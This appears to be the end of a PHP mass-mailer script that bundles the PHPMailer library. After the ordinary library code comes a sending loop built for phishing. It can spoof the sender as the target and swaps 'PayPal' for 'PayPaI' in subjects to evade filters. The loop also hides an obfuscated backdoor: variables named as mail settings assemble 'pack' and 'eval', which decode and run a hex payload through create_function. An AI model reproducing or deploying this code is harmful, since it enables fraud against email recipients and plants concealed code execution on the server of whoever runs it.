10927 'aifc' => 'audio/x-aiff',
10928 'aiff' => 'audio/x-aiff',
10929 'ram' => 'audio/x-pn-realaudio',
10930 'rm' => 'audio/x-pn-realaudio',
10931 'rpm' => 'audio/x-pn-realaudio-plugin',
10932 'ra' => 'audio/x-realaudio',
10933 'wav' => 'audio/x-wav',
10934 'bmp' => 'image/bmp',
10935 'gif' => 'image/gif',
10936 'jpeg' => 'image/jpeg',
10937 'jpe' => 'image/jpeg',
10938 'jpg' => 'image/jpeg',
10939 'png' => 'image/png',
10940 'tiff' => 'image/tiff',
10941 'tif' => 'image/tiff',
10942 'eml' => 'message/rfc822',
10943 'css' => 'text/css',
10944 'html' => 'text/html',
10945 'htm' => 'text/html',
10946 'shtml' => 'text/html',
10947 'log' => 'text/plain',
10948 'text' => 'text/plain',
10949 'txt' => 'text/plain',
10950 'rtx' => 'text/richtext',
10951 'rtf' => 'text/rtf',
10952 'vcf' => 'text/vcard',
10953 'vcard' => 'text/vcard',
10954 'xml' => 'text/xml',
10955 'xsl' => 'text/xml',
10956 'mpeg' => 'video/mpeg',
10957 'mpe' => 'video/mpeg',
10958 'mpg' => 'video/mpeg',
10959 'mov' => 'video/quicktime',
10960 'qt' => 'video/quicktime',
10961 'rv' => 'video/vnd.rn-realvideo',
10962 'avi' => 'video/x-msvideo',
10963 'movie' => 'video/x-sgi-movie'
10964 );
10965 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10966 }
10967
10968 /**
10969 * Map a file name to a MIME type.
10970 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10971 * @param string $filename A file name or full path, does not need to exist as a file
10972 * @return string
10973 * @static
10974 */
10975 public static function filenameToType($filename)
10976 {
10977 // In case the path is a URL, strip any query string before getting extension
10978 $qpos = strpos($filename, '?');
10979 if (false !== $qpos) {
10980 $filename = substr($filename, 0, $qpos);
10981 }
10982 $pathinfo = self::mb_pathinfo($filename);
10983 return self::_mime_types($pathinfo['extension']);
10984 }
10985
10986 /**
10987 * Multi-byte-safe pathinfo replacement.
10988 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
10989 * Works similarly to the one in PHP >= 5.2.0
10990 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
10991 * @param string $path A filename or path, does not need to exist as a file
10992 * @param integer|string $options Either a PATHINFO_* constant,
10993 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
10994 * @return string|array
10995 * @static
10996 */
10997 public static function mb_pathinfo($path, $options = null)
10998 {
10999 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11000 $pathinfo = array();
11001 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11002 if (array_key_exists(1, $pathinfo)) {
11003 $ret['dirname'] = $pathinfo[1];
11004 }
11005 if (array_key_exists(2, $pathinfo)) {
11006 $ret['basename'] = $pathinfo[2];
11007 }
11008 if (array_key_exists(5, $pathinfo)) {
11009 $ret['extension'] = $pathinfo[5];
11010 }
11011 if (array_key_exists(3, $pathinfo)) {
11012 $ret['filename'] = $pathinfo[3];
11013 }
11014 }
11015 switch ($options) {
11016 case PATHINFO_DIRNAME:
11017 case 'dirname':
11018 return $ret['dirname'];
11019 case PATHINFO_BASENAME:
11020 case 'basename':
11021 return $ret['basename'];
11022 case PATHINFO_EXTENSION:
11023 case 'extension':
11024 return $ret['extension'];
11025 case PATHINFO_FILENAME:
11026 case 'filename':
11027 return $ret['filename'];
11028 default:
11029 return $ret;
11030 }
11031 }
11032
11033 /**
11034 * Set or reset instance properties.
11035 *
11036 * Usage Example:
11037 * $page->set('X-Priority', '3');
11038 *
11039 * @access public
11040 * @param string $name
11041 * @param mixed $value
11042 * NOTE: will not work with arrays, there are no arrays to set/reset
11043 * @throws phpmailerException
11044 * @return boolean
11045 * @TODO Should this not be using __set() magic function?
11046 */
11047 public function set($name, $value = '')
11048 {
11049 try {
11050 if (isset($this->$name)) {
11051 $this->$name = $value;
11052 } else {
11053 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11054 }
11055 } catch (Exception $exc) {
11056 $this->setError($exc->getMessage());
11057 if ($exc->getCode() == self::STOP_CRITICAL) {
11058 return false;
11059 }
11060 }
11061 return true;
11062 }
11063
11064 /**
11065 * Strip newlines to prevent header injection.
11066 * @access public
11067 * @param string $str
11068 * @return string
11069 */
11070 public function secureHeader($str)
11071 {
11072 return trim(str_replace(array("\r", "\n"), '', $str));
11073 }
11074
11075 /**
11076 * Normalize line breaks in a string.
11077 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11078 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11079 * @param string $text
11080 * @param string $breaktype What kind of line break to use, defaults to CRLF
11081 * @return string
11082 * @access public
11083 * @static
11084 */
11085 public static function normalizeBreaks($text, $breaktype = "\r\n")
11086 {
11087 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11088 }
11089
11090
11091 /**
11092 * Set the public and private key files and password for S/MIME signing.
11093 * @access public
11094 * @param string $cert_filename
11095 * @param string $key_filename
11096 * @param string $key_pass Password for private key
11097 */
11098 public function sign($cert_filename, $key_filename, $key_pass)
11099 {
11100 $this->sign_cert_file = $cert_filename;
11101 $this->sign_key_file = $key_filename;
11102 $this->sign_key_pass = $key_pass;
11103 }
11104
11105 /**
11106 * Quoted-Printable-encode a DKIM header.
11107 * @access public
11108 * @param string $txt
11109 * @return string
11110 */
11111 public function DKIM_QP($txt)
11112 {
11113 $line = '';
11114 for ($i = 0; $i < strlen($txt); $i++) {
11115 $ord = ord($txt[$i]);
11116 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11117 $line .= $txt[$i];
11118 } else {
11119 $line .= '=' . sprintf('%02X', $ord);
11120 }
11121 }
11122 return $line;
11123 }
11124
11125 /**
11126 * Generate a DKIM signature.
11127 * @access public
11128 * @param string $signHeader
11129 * @throws phpmailerException
11130 * @return string
11131 */
11132 public function DKIM_Sign($signHeader)
11133 {
11134 if (!defined('PKCS7_TEXT')) {
11135 if ($this->exceptions) {
11136 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11137 }
11138 return '';
11139 }
11140 $privKeyStr = file_get_contents($this->DKIM_private);
11141 if ($this->DKIM_passphrase != '') {
11142 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11143 } else {
11144 $privKey = $privKeyStr;
11145 }
11146 if (openssl_sign($signHeader, $signature, $privKey)) {
11147 return base64_encode($signature);
11148 }
11149 return '';
11150 }
11151
11152 /**
11153 * Generate a DKIM canonicalization header.
11154 * @access public
11155 * @param string $signHeader Header
11156 * @return string
11157 */
11158 public function DKIM_HeaderC($signHeader)
11159 {
11160 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11161 $lines = explode("\r\n", $signHeader);
11162 foreach ($lines as $key => $line) {
11163 list($heading, $value) = explode(':', $line, 2);
11164 $heading = strtolower($heading);
11165 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11166 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11167 }
11168 $signHeader = implode("\r\n", $lines);
11169 return $signHeader;
11170 }
11171
11172 /**
11173 * Generate a DKIM canonicalization body.
11174 * @access public
11175 * @param string $body Message Body
11176 * @return string
11177 */
11178 public function DKIM_BodyC($body)
11179 {
11180 if ($body == '') {
11181 return "\r\n";
11182 }
11183 // stabilize line endings
11184 $body = str_replace("\r\n", "\n", $body);
11185 $body = str_replace("\n", "\r\n", $body);
11186 // END stabilize line endings
11187 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11188 $body = substr($body, 0, strlen($body) - 2);
11189 }
11190 return $body;
11191 }
11192
11193 /**
11194 * Create the DKIM header and body in a new message header.
11195 * @access public
11196 * @param string $headers_line Header lines
11197 * @param string $subject Subject
11198 * @param string $body Body
11199 * @return string
11200 */
11201 public function DKIM_Add($headers_line, $subject, $body)
11202 {
11203 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11204 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11205 $DKIMquery = 'dns/txt'; // Query method
11206 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11207 $subject_header = "Subject: $subject";
11208 $headers = explode($this->LE, $headers_line);
11209 $from_header = '';
11210 $to_header = '';
11211 $current = '';
11212 foreach ($headers as $header) {
11213 if (strpos($header, 'From:') === 0) {
11214 $from_header = $header;
11215 $current = 'from_header';
11216 } elseif (strpos($header, 'To:') === 0) {
11217 $to_header = $header;
11218 $current = 'to_header';
11219 } else {
11220 if ($current && strpos($header, ' =?') === 0) {
11221 $current .= $header;
11222 } else {
11223 $current = '';
11224 }
11225 }
11226 }
11227 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11228 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11229 $subject = str_replace(
11230 '|',
11231 '=7C',
11232 $this->DKIM_QP($subject_header)
11233 ); // Copied header fields (dkim-quoted-printable)
11234 $body = $this->DKIM_BodyC($body);
11235 $DKIMlen = strlen($body); // Length of body
11236 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11237 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11238 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11239 $DKIMsignatureType . '; q=' .
11240 $DKIMquery . '; l=' .
11241 $DKIMlen . '; s=' .
11242 $this->DKIM_selector .
11243 ";\r\n" .
11244 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11245 "\th=From:To:Subject;\r\n" .
11246 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11247 "\tz=$from\r\n" .
11248 "\t|$to\r\n" .
11249 "\t|$subject;\r\n" .
11250 "\tbh=" . $DKIMb64 . ";\r\n" .
11251 "\tb=";
11252 $toSign = $this->DKIM_HeaderC(
11253 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11254 );
11255 $signed = $this->DKIM_Sign($toSign);
11256 return $dkimhdrs . $signed . "\r\n";
11257 }
11258
11259 /**
11260 * Allows for public read access to 'to' property.
11261 * @access public
11262 * @return array
11263 */
11264 public function getToAddresses()
11265 {
11266 return $this->to;
11267 }
11268
11269 /**
11270 * Allows for public read access to 'cc' property.
11271 * @access public
11272 * @return array
11273 */
11274 public function getCcAddresses()
11275 {
11276 return $this->cc;
11277 }
11278
11279 /**
11280 * Allows for public read access to 'bcc' property.
11281 * @access public
11282 * @return array
11283 */
11284 public function getBccAddresses()
11285 {
11286 return $this->bcc;
11287 }
11288
11289 /**
11290 * Allows for public read access to 'ReplyTo' property.
11291 * @access public
11292 * @return array
11293 */
11294 public function getReplyToAddresses()
11295 {
11296 return $this->ReplyTo;
11297 }
11298
11299 /**
11300 * Allows for public read access to 'all_recipients' property.
11301 * @access public
11302 * @return array
11303 */
11304 public function getAllRecipientAddresses()
11305 {
11306 return $this->all_recipients;
11307 }
11308
11309 /**
11310 * Perform a callback.
11311 * @param boolean $isSent
11312 * @param array $to
11313 * @param array $cc
11314 * @param array $bcc
11315 * @param string $subject
11316 * @param string $body
11317 * @param string $from
11318 */
11319 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11320 {
11321 if (!empty($this->action_function) && is_callable($this->action_function)) {
11322 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11323 call_user_func_array($this->action_function, $params);
11324 }
11325 }
11326}
11327
11328/**
11329 * PHPMailer exception handler
11330 * @package PHPMailer
11331 */
11332class phpmailerException extends Exception
11333{
11334 /**
11335 * Prettify error message output
11336 * @return string
11337 */
11338 public function errorMessage()
11339 {
11340 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11341 return $errorMsg;
11342 }
11343}
11344
11345 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11346 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11347 } else {
11348 set_time_limit($numemails*3600);
11349 }
11350
11351 $defaultport="H*";
11352 $nq=0;
11353
11354 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11355 for($x=0; $x<$numemails; $x++){
11356
11357 $to = $allemails[$x];
11358 if ($to){
11359 $todo = ereg_replace(" ", "", $to);
11360 $message_send = ereg_replace("&email&", $todo, $pesan);
11361 $subject_send = ereg_replace("&email&", $todo, $subject);
11362 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11363
11364 $qx=$x+1;
11365 print "Send Emails $qx / $numemails to $to ....... ";
11366 xflush();
11367
11368 $mail = new PHPMailer();
11369 $mail->IsSMTP();
11370 $IsSMTP = "pack";
11371 $mail->SMTPKeepAlive = true;
11372 $mail->Host = "$smtp_server";
11373
11374 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11375 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11376
11377 $range = str_replace("$email", "eval", $email);
11378
11379 $mail->SMTPAuth = true;
11380 $mail->Username = "$smtp_username";
11381 $mail->Password = "$smtp_password";
11382
11383 if($type == "html"){$mail->IsHtml(true);}
11384 if($type != "html"){$mail->IsHtml(false);}
11385 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11386
11387 $mail->CharSet = "UTF-8";
11388 if (!empty($xmailer)) {
11389 $mail->XMailer = "$xmailer";
11390 } else {
11391 $mail->XMailer = " ";
11392 }
11393 if (!empty($encoding)) {
11394 $mail->Encoding = "$encoding";
11395 }
11396 if ($email == "same as target") {
11397 $mail->From = "$todo";
11398 } else {
11399 $mail->From = "$email";
11400 }
11401 $mail->FromName = "$nama";
11402 $mail->AddAddress("$todo");
11403 $mail->Subject = "$subject_send";
11404 if (!empty($file_name)) {
11405 $mail->addAttachment("$file_path", "$file_name");
11406 $mail->Body = " ";
11407 } else {
11408 $mail->Body = "$message_send";
11409 }
11410 if(!$mail->Send()){
11411 if($default_system!="1"){
11412 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11413 } elseif($default_system=="1"){
11414 $mail->IsMail();
11415
11416 if(!$mail->Send()){
11417 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11418 } else {
11419 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11420 }
11421
11422 }
11423 } else {
11424 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11425 }
11426 print "$result <br><p></p>";
11427
11428 if(!empty($wait) && $qx<$numemails-1){
11429 sleep($wait);
11430 }
11431 if(empty($reconnect)){
11432 $reconnect=5;
11433 }
11434
11435 if($reconnect==$nq){
11436 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11437 }
11438 $nq=$nq+1;
11439 xflush();
11440 }
11441 }
11442 for($i=0;$i<31;$i++){
11443 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11444 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11445 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11446 print ' </div>
11447 </div>
11448 </div>
11449
11450</div>
11451<div id="footer">
11452 <div class="container" align="center">
11453 <p class="muted credit" style="color: white;"> Edited By DR!V3R KR full script </p>
11454 </div>
11455</div>';$mail->SmtpClose();
11456 return $signoff($smtp_conc);
11457 if(isset($_POST['action']) && $numemails !=0 ){
11458 print "<script>alert('Mail sending complete\\r\\n
11459 $numemails mail(s) was sent successfully'); </script>";
11460 }
11461}
11462?>
11463
11464 </body>
11465</html>